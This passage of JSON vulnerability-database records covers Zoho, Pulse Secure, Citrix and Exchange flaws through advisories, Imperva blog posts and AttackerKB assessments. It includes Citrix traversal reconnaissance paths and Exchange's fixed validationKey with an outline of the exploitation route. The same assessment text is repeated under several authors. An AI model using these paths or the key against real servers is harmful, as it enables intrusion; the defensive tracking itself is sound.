{"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604"], "modified": "2020-03-01T00:00:00", "id": "CPAI-2019-0392", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:40:35", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-01T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2020-0688)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-05-01T00:00:00", "id": "CPAI-2020-0104", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "Zoho ManageEngine Desktop Central before 10.0.474 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Zoho ManageEngine Desktop Central Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-10189", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-09T23:10:03", "description": "An unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Pulse Connect Secure VPN Arbitrary File Reading Vulnerability (COVID-19-CTI List)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2019-11510", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Issue in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 allowing Directory Traversal.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Citrix Application Delivery Controller and Citrix Gateway Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2019-19781", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka 'Microsoft Exchange Memory Corruption Vulnerability'.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Key Validation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-0688", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "impervablog": [{"lastseen": "2021-04-22T20:29:34", "description": "In [Part 1](<https://www.imperva.com/blog/5-ways-your-software-supply-chain-is-out-to-get-you-part-1-vendor-compromise/>) of this series, we explained how and why our software supply chain transfers an extraordinary amount of risk downstream to the organizations and users that trust and depend on it. We also presented evidence suggesting that 2021 may well be the year of the [Software Supply Chain attack](<https://www.imperva.com/learn/application-security/supply-chain-attack/>).\n\nLast time we described the most sophisticated of the supply chain attack methods, a [Vendor Compromise](<https://www.imperva.com/blog/5-ways-your-software-supply-chain-is-out-to-get-you-part-1-vendor-compromise/>). In this post, we cover the exploitation of third-party applications.\n\n### Exploitation of Third Party Applications\n\nAttacks targeting "[zero-days](<https://www.imperva.com/learn/application-security/zero-day-exploit/>)," or unpatched security bugs, in commonly used third-party applications are another example of the risks we assume from our software supply chain.\n\nCreating software is a challenging process. Often, incomplete requirements, incorrect assumptions, and time-to-market pressures result in the delivery of less-than-perfect software. Generally speaking, software developers do a good job of eliminating software bugs that cause the program to fail in catastrophic or obvious ways. Unfortunately, security bugs don\u2019t typically cause catastrophic system failures. They simply allow a bad actor to make the software do things it wasn\u2019t intended to do like steal other users\u2019 credentials or read the entire contents of a database.\n\nThe [recent attacks on the Microsoft Exchange Server](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>) are just the latest examples of this type of software supply chain attack. In this case, bugs in Exchange Server allowed attackers to read emails and install a web shell. A web shell is typically an additional web page that the attacker uploads to a website. If the attacker can modify a web page on the server, the web shell may be embedded in an existing page. The additional or modified page contains code that allows the attacker to run arbitrary Operating System commands on the webserver, read files in the filesystem, install malware, etc. A web shell offers capabilities similar to a backdoor without having to establish an additional network connection to the webserver.\n\nCompounding the problem, the rapid-fire ability of bad actors to take advantage of software vulnerability disclosures and our own justifiably cautious patch processes create an asymmetry, with predictable results. It\u2019s rare that an organization will be able to deploy a vendor patch the moment it is made available across all of the necessary locations. Employing a [Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>) to reduce the gap is a common strategy. Even the best WAFs require time to adapt, however, either with a new signature update (that must be developed, tested, and deployed) or with an adjustment to a machine learning model, or manual acknowledgment that an anomaly has been detected and should be blocked in the future. Additionally, these \u201cvirtual patches\u201d must be tested in each organizations\u2019 environment prior to deployment to ensure they don\u2019t cause unwanted side effects.\n\nThe race to mitigate zero-day attacks through traditional means is increasingly difficult to win. For example, a Zoho ManageEngine Desktop Server zero-day vulnerability [was broadly exploited within days](<https://www.tenable.com/blog/cve-2020-10189-deserialization-vulnerability-in-zoho-manageengine-desktop-central-10-patched>) of its public disclosure.\n\n### Imperva RASP\n\nImperva [Runtime Application Self-Protection](<https://www.imperva.com/products/runtime-application-self-protection-rasp/>) (RASP) offers a compelling way forward. Delivered as a lightweight software plugin, RASP attaches to virtually any type of application whether a third party, open-source or bespoke. Tightly coupled with the application and requiring no external connectivity, RASP protections are consistently applied regardless of where the application is deployed today or in the future. Using a positive security approach, RASP mitigates risk from supply chain attacks by neutralizing malicious software activity including unauthorized network calls, file system access, and execution of commands on the underlying host operating system.\n\nPerhaps this is why the National Institute of Standards and Technology recommends the use of RASP in Special Publication 800-53, section SI-7(17), [Security and Privacy Controls for Information Systems and Organizations](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf>)?\n\nSee [Runtime Application Self-Protection](<https://www.imperva.com/products/runtime-application-self-protection-rasp/>) for yourself.\n\nThe post [5 Ways Your Software Supply Chain is Out to Get You, Part 2: Exploit Third Party Applications](<https://www.imperva.com/blog/5-ways-your-software-supply-chain-is-out-to-get-you-part-2-exploit-third-party-applications/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-22T12:28:49", "type": "impervablog", "title": "5 Ways Your Software Supply Chain is Out to Get You, Part 2: Exploit Third Party Applications", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2021-04-22T12:28:49", "id": "IMPERVABLOG:A1972445B3E03EDA92E53FFFBD6771BD", "href": "https://www.imperva.com/blog/5-ways-your-software-supply-chain-is-out-to-get-you-part-2-exploit-third-party-applications/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-19T15:26:21", "description": "On December 17, Citrix issued a [Security Bulletin](<https://support.citrix.com/article/CTX267027>) on an unauthenticated remote code execution vulnerability (CVE-2019-19781) affecting its Citrix Application Delivery Controller (ADC) - formerly known as NetScaler ADC - and its Citrix Gateway - formerly known as NetScaler Gateway.\n\nAt the time of the security bulletin release, there was no official information available on what the exact vulnerability was, although Citrix did [release Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>) which shed some light on how the vulnerability was exploited. \nThe mitigation offered was to create a responder policy that would prevent HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL which would trigger a 403 response code.\n\nAt that point it was assumed the vulnerability would most likely take advantage of some sort of directory traversal flaw to upload malicious files to the /vpns/ path, leading to remote code execution. We created several research rules to detect HTTP requests to the suspicious path, but weren\u2019t able to capture any kind of malicious requests at that time.\n\nOn January 3, the [SANS Internet Storm Center (ISC) tweeted](<https://twitter.com/sans_isc/status/1213228049011007489>) that they\u2019d observed the \u201cfirst exploit attempt\u201d for this vulnerability in the wild, although they didn\u2019t include any additional details. At that point in time, no malicious requests were detected on any sites protected by Imperva.\n\nFrom January 7 onwards, several blog posts were published that gradually started to reveal the nature of the attack, until a POC and exploit was published on January 10.\n\nYou can read an in depth analysis of the vulnerability [here](<https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>) and [here](<https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/>).\n\nAs attack activity rose immediately following the release of the POC/exploits, we found that the first stage of the attack was blocked out-of-the-box using existing directory traversal signatures - thus Imperva provided a mitigation for a zero day exploit.\n\nIn addition, the research rules that were set up prior to the POC/exploits both detected and blocked the second stage of the attack. What\u2019s more, they were able to block recon attempts by attackers trying to detect vulnerable Citrix ADC/GW by directly accessing the following paths, in an effort to retrieve the \u2018smb.conf\u2019 configuration file or reach the writeable script \u2018newbm.pl\u2019:\n\n * /vpns/\n * /vpn/../vpns/cfg/smb.conf\n * /vpn/../vpns/portal/scripts/newbm.pl\n\nFrom that point onwards we saw a surge in attack attempts on sites protected by Imperva, as shown in the graphs below:\n\nAfter the two initial exploits were published - a simple Bash script and a more detailed Python script - numerous other variations of the exploit appeared in several GitHub repositories. Below we can see the spread of various clients that were identified based on client verification tests, as sources of exploitation and scanning attempts on Imperva-protected sites:\n\nFrom the graph above we can see that, from January 11 onwards, most exploit attempts were executed using the Bash script - this was identified by cURL User-Agent as the script uses cURL to send the malicious request - followed by the Python scripts (there were two variations of the exploit, one using the Python urllib library, the other using the python-requests library).\n\nIn the last 24 hours (at the time of writing this post) we also noticed a sudden increase in requests from various vulnerability scanners, mainly WhiteHat Vulnerability Scanner.\n\nBelow you can see the amount of Imperva-protected sites targeted since the exploit attempts were detected in the wild, and the total number of sites attacked: \n\n\nAt the end of the day, our customers were protected right out-of-the-box in the Cloud and the On-prem WAF. The Threat Research team will keep tracking this and other zero-day vulnerabilities and their exploits, as well as constantly updating our WAF engine to provide the best mitigation to newly released vulnerabilities.\n\nThe post [Imperva Mitigates Exploits of Citrix Vulnerability - Right Out of the Box](<https://www.imperva.com/blog/imperva-mitigates-exploits-of-citrix-vulnerability-right-out-of-the-box/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-19T15:00:50", "type": "impervablog", "title": "Imperva Mitigates Exploits of Citrix Vulnerability \u2013 Right Out of the Box", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-19T15:00:50", "id": "IMPERVABLOG:4124E2CCDA610C6D222319C47C8D3250", "href": "https://www.imperva.com/blog/imperva-mitigates-exploits-of-citrix-vulnerability-right-out-of-the-box/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2022-07-10T23:05:21", "description": "Zoho ManageEngine Desktop Central before 10.0.474 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.\n\n \n**Recent assessments:** \n \n**J3rryBl4nks** at March 13, 2020 9:41pm UTC reported:\n\nDue to this being an unauthenticated serialization exploit, the bar for exploitation is very low. Serialization is rampant in software, and most companies aren\u2019t doing it correctly.\n\nIt\u2019s realtively easy these days to exploit serialization vulnerabilities with ysoserial/yososerial.net and it will be a problem for years going forward.\n\n**wvu-r7** at March 10, 2020 6:38pm UTC reported:\n\nDue to this being an unauthenticated serialization exploit, the bar for exploitation is very low. Serialization is rampant in software, and most companies aren\u2019t doing it correctly.\n\nIt\u2019s realtively easy these days to exploit serialization vulnerabilities with ysoserial/yososerial.net and it will be a problem for years going forward.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-06T00:00:00", "type": "attackerkb", "title": "CVE-2020-10189", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2021-07-27T00:00:00", "id": "AKB:86915DE7-C5F7-483B-A324-DF5B1929FBF6", "href": "https://attackerkb.com/topics/PyNCrvKjzq/cve-2020-10189", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-10T11:13:41", "description": "In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .\n\n \n**Recent assessments:** \n \n**dmelcher5151** at April 15, 2020 4:11pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\n**hrbrmstr** at May 12, 2020 7:55pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-08T00:00:00", "type": "attackerkb", "title": "CVE-2019-11510", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-07-27T00:00:00", "id": "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "href": "https://attackerkb.com/topics/lx3Afd7fbJ/cve-2019-11510", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-01T11:13:18", "description": "An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.\n\n \n**Recent assessments:** \n \n**kevthehermit** at February 22, 2020 12:29am UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**zeroSteiner** at January 02, 2020 3:42pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**dmelcher5151** at April 16, 2020 12:56am UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**bcook-r7** at January 11, 2020 7:23pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**hrbrmstr** at May 12, 2020 7:56pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**gwillcox-r7** at October 20, 2020 5:51pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-05T00:00:00", "type": "attackerkb", "title": "CVE-2019-19781", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-07-27T00:00:00", "id": "AKB:AFC76977-D355-470D-A7F6-FEF7A8352B65", "href": "https://attackerkb.com/topics/x22buZozYJ/cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-29T18:09:55", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka \u2018Microsoft Exchange Memory Corruption Vulnerability\u2019.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at February 26, 2020 5:02pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**hartescout** at February 26, 2020 2:30am UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**J3rryBl4nks** at March 02, 2020 10:11pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the 